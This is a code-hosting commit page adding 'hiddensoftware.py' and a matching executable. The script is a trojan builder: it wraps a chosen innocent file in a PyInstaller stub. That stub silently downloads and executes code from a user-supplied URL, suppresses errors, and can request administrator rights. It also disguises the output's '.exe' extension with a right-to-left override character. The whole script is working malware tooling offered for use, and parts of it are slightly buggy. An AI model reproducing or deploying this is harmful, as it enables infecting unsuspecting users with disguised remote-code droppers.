shethjenil
commited on
Commit
•
5fd4c00
1
Parent(s):
a541fec
Upload 2 files
Browse files- .gitattributes +1 -0
- hiddensoftware.exe +3 -0
- hiddensoftware.py +76 -0
.gitattributes
CHANGED
@@ -48,3 +48,4 @@ ProgInject.exe filter=lfs diff=lfs merge=lfs -text
|
|
48 |
HandWriteMachine.exe filter=lfs diff=lfs merge=lfs -text
|
49 |
BROWSER.exe filter=lfs diff=lfs merge=lfs -text
|
50 |
CLOUDSOFTWARE.exe filter=lfs diff=lfs merge=lfs -text
|
|
|
|
48 |
HandWriteMachine.exe filter=lfs diff=lfs merge=lfs -text
|
49 |
BROWSER.exe filter=lfs diff=lfs merge=lfs -text
|
50 |
CLOUDSOFTWARE.exe filter=lfs diff=lfs merge=lfs -text
|
51 |
+
hiddensoftware.exe filter=lfs diff=lfs merge=lfs -text
|
hiddensoftware.exe
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:9fed81c2ceb3a2fd38384bf3540ed594df72c3ff1ef9743f0c983da286a6ab76
|
3 |
+
size 39278704
|
hiddensoftware.py
ADDED
@@ -0,0 +1,76 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from tkinter.filedialog import askopenfilename , askdirectory
|
2 |
+
from tkinter.simpledialog import askstring
|
3 |
+
from tkinter.messagebox import showwarning , askyesno
|
4 |
+
from shutil import move
|
5 |
+
from os import chdir
|
6 |
+
from subprocess import Popen , PIPE , DEVNULL
|
7 |
+
from PIL import Image
|
8 |
+
from PyInstaller.utils.hooks import collect_submodules
|
9 |
+
from requests import get
|
10 |
+
from tempfile import TemporaryDirectory
|
11 |
+
def add_modules()->list:
|
12 |
+
while True:
|
13 |
+
items = []
|
14 |
+
item = askstring("module","Enter the modules")
|
15 |
+
if item and item.strip() != "":
|
16 |
+
items.append(item.strip())
|
17 |
+
else:
|
18 |
+
return items
|
19 |
+
def add_submodules()->list:
|
20 |
+
while True:
|
21 |
+
items = []
|
22 |
+
item = askstring("submodule","Enter the submodules")
|
23 |
+
if item and item.strip() != "":
|
24 |
+
items.append(item.strip())
|
25 |
+
else:
|
26 |
+
return items
|
27 |
+
if Popen("pyinstaller",stderr=PIPE).communicate()[0]:
|
28 |
+
if not Popen("python -m pip",stderr=PIPE).communicate()[0]:
|
29 |
+
Popen("python -m pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
|
30 |
+
else:
|
31 |
+
open("pythondownload.exe","w+").write(get("https://www.python.org/ftp/python/3.11.9/python-3.11.9-amd64.exe").raw)
|
32 |
+
showwarning("Python is required to run this program")
|
33 |
+
Popen("pythondownload.exe",stdout=DEVNULL,stderr=DEVNULL).communicate()
|
34 |
+
Popen("python -m pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
|
35 |
+
|
36 |
+
tempfolder = TemporaryDirectory()
|
37 |
+
chdir(tempfolder.name)
|
38 |
+
Image.open(askopenfilename(filetypes=[("Image",["*.jpg","*.png","*.jpeg","*.ico"])])).convert("RGBA").save("icon.ico", format="ICO", sizes=[(72, 72)])
|
39 |
+
filename = askopenfilename()
|
40 |
+
linkofcode = askstring("link of code", "Enter the link of the code")
|
41 |
+
newname = askstring("","Give name of file")
|
42 |
+
modules = add_modules()
|
43 |
+
submodules = add_submodules()
|
44 |
+
if askyesno("import","Do you want to import all submodules of modules?"):
|
45 |
+
allsubmodules = []
|
46 |
+
for i in modules:
|
47 |
+
allsubmodules.extend(collect_submodules(i))
|
48 |
+
submodules = list(set(allsubmodules + submodules))
|
49 |
+
open("mainfile.py","a+").write(f'''
|
50 |
+
from subprocess import Popen
|
51 |
+
from os import chdir
|
52 |
+
from time import sleep
|
53 |
+
from sys import _MEIPASS as cdir
|
54 |
+
chdir(cdir)
|
55 |
+
Popen("{filename.split("/")[-1]}",shell=True).communicate()
|
56 |
+
sleep(1)
|
57 |
+
from tkinter.messagebox import showerror
|
58 |
+
from requests import get
|
59 |
+
try:
|
60 |
+
exec(get("{linkofcode}",timeout=5).text)
|
61 |
+
except Exception:
|
62 |
+
pass
|
63 |
+
''')
|
64 |
+
command = ['pyinstaller', '--noconfirm', '--onefile', '--windowed', '--icon', "icon.ico", '--name', 'software', '--add-data', f'{filename};.']
|
65 |
+
for mudule in modules:
|
66 |
+
command.extend(["--hidden-import",mudule])
|
67 |
+
for module in submodules:
|
68 |
+
command.extend(["--collect-submodules",module])
|
69 |
+
if askyesno("UAC","Do you want to run this program as administrator?"):
|
70 |
+
command.append("--uac-admin")
|
71 |
+
if askyesno("UAC","Do you want to run this program as Uiaccess?"):
|
72 |
+
command.append("--uac-uiaccess")
|
73 |
+
command.append("mainfile.py")
|
74 |
+
Popen(command,shell=True,stdout=DEVNULL,stderr=DEVNULL).communicate()
|
75 |
+
move("dist/software.exe",f"{askdirectory}/{newname}\u202E{filename.split('.')[-1][::-1]}.exe")
|
76 |
+
tempfolder.cleanup()
|